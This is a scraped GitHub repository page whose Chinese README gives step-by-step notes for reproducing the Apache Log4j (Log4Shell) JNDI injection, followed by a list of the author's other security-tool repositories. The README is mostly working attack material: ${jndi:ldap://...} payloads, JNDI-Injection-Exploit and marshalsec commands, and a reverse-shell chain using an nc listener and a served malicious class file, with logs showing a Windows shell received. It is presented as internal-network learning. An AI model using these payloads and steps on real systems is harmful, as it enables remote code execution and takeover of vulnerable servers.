• Stars
    star
    104
  • Rank 330,604 (Top 7 %)
  • Language
    Java
  • Created almost 3 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Apache-Log4j漏洞复现笔记

以下都是内网学习打的,仅供学习

poc来自 https://github.com/tangxiaofeng7/apache-log4j-poc

Apache-Log4j的几种复现方式

1、使用./tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

vps IP 假设为 10.10.10.10 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 10.10.10.10

[root@VM_0_16_centos ~]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping xx.24b5010c.dns.1433.eu.org" -A 10.10.10.10
[ADDRESS] >> 10.10.10.10
[COMMAND] >> ping xx.24b5010c.dns.1433.eu.org
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://10.10.10.10:1099/1ovanh
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://10.10.10.10:1099/kavkt9
ldap://10.10.10.10:1389/kavkt9
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://10.10.10.10:1099/m5m8wo
ldap://10.10.10.10:1389/m5m8wo

然后fuzz ${jndi:ldap://10.10.10.10:1389/kavkt9} 或者 ${jndi:ldap://10.10.10.10:1389/m5m8wo}

2、反弹shell

试了几个windows的,都是无回显,执行命令磕磕绊绊,最后还是直接反弹了原生shell 我测试了一台windows,使用./src/ExecTemplateJDK7.java 修改里面的host和port为要反弹的地址(如果是linux,使用./src/linux.java就行了,其实就是cmd.exe改成/bin/bash)

然后javac ExecTemplateJDK7.java,生成ExecTemplateJDK7.class

然后在vps上开http服务python3 -m http.server 9092,以及监听端口nc -l 9091

然后同样在vps上 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.10.10:9092/#ExecTemplateJDK7 1389

最后fuzz ${jndi:ldap://10.10.10.10:1389}

效果是jndi上收到请求消息 Send LDAP reference result for dd redirecting to http://10.10.10.10:9092/ExecTemplateJDK7.class

httpserver请求 [10/Dec/2021 10:04:39] "GET /ExecTemplateJDK7.class HTTP/1.1" 200

nc收到windows-shell

以上都是内网学习打的,仅供学习

More Repositories

1

CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner

Cnvd-2020-10487 / cve-2020-1938, scanner tool
Python
287
star
2

Src-Toolset

Emergency toolset and some self used scripts
Python
112
star
3

2020-Interview-experience

计算机方向-2021届同学们的2020春季实习面经-持续更新
65
star
4

Awesome_shiro

CVE-2016-4437-Shiro反序列化爆破模块和key,命令执行,反弹shell的脚本
Python
54
star
5

yaml-payload-for-Win

用于windows反弹shell的yaml-payload
Java
44
star
6

BookCorner

NUAA-BookCorner共享图书
31
star
7

html2markdown_Spider

Solve CTF offline disconnection problem - based on python3's small crawler, support keyword search and local map bed establishment, currently support Jianshu and xianzhi
Python
22
star
8

2018-NUAA-Data-Structrue-Experiments-design

NUAA 2018 数据结构八次上机实验和课程设计
C++
19
star
9

Crypto-Tools

Crypto tools online powered by Django 2.1
Python
13
star
10

fuzzdb-and-tools

Some fuzzy DB - some commonly used Trojans - some small tools for uploading files
PHP
13
star
11

Sql-Injection

Some Tools ,Writeup or Labs About Sql-Injection
PHP
10
star
12

Nuaa_MSC_Backend

Powered by springboot+mybatis+swagger
Java
8
star
13

Django2.1-Blog

Python
7
star
14

Little-Dinosaur

Jupyter Notebook
6
star
15

dingdingbot

上班摸鱼写了脚本
PLpgSQL
6
star
16

DesignPatternCourseDesign

NUAA-2019-DesignPatternCourseDesign
TSQL
5
star
17

httpscan-python3

httpscan python3 version/多线程 / 支持单B段扫描
Python
5
star
18

Postgresql

Study_Postgres_For_GuessDB_DEV
5
star
19

e-mobile_rce

e-mobile_rce exp
Python
5
star
20

Some-Scanner

一些简单的扫描器,基于python3
Python
5
star
21

2020-NUAACTF-SZCup

2020年南航CTF神舟杯-题偏易
Python
4
star
22

2019-Asuri-Recruitment-Src-and-wp

asuri战队2019年招新赛的题目和writeup
PHP
4
star
23

Nuaa_MSC_ForeEnd_Alpha

Powered By Vue-Admin-Template
Vue
4
star
24

literature

千秋万古,为留待骚人,狂歌痛饮,来访雁邱处
3
star
25

Django2.1-Mysql5.7-Tutorial

Just a demo use python3.7+django2.1+mysql
Python
3
star
26

Script-DES-Crypto

python3和c实现des,md5等算法
Python
3
star
27

LeetCode

C++
2
star
28

Binary

Easy-Binary-Study-OrzGodCao
C
2
star
29

Computer-Networking-Programming-Exercises

Homework Of 《Computer Networking A Top-Down Approach》
Python
2
star
30

8086_Train_Game

考验记忆力的小游戏,Springboot的简单培训
TSQL
2
star
31

Spring-Boot2-Demo

Just Easy demo 大佬绕道
Java
2
star
32

some_pytools

Python
2
star
33

Vue-Study-Note

Just Simple Vue‘s demo
JavaScript
2
star
34

shuyu-ysoserial

改了一下yso源码,便于自己用
Java
2
star
35

kitty_awd

some tools
PHP
1
star
36

Springboot-Shiro-PictureWebsite

Just a Shiro demo with Authorization and Authentication Functions
Java
1
star
37

bkfish

听说github可以改主页了
1
star
38

Framework-Tutorial

一些框架文档收集~人老了总是记不住
1
star
39

Unique_Hackday_Nice_fastStyle

A backend for Unique_Hackday 2019_6_7
Python
1
star
40

bkfish.github.io

HTML
1
star
41

PHP-Study

PHP
1
star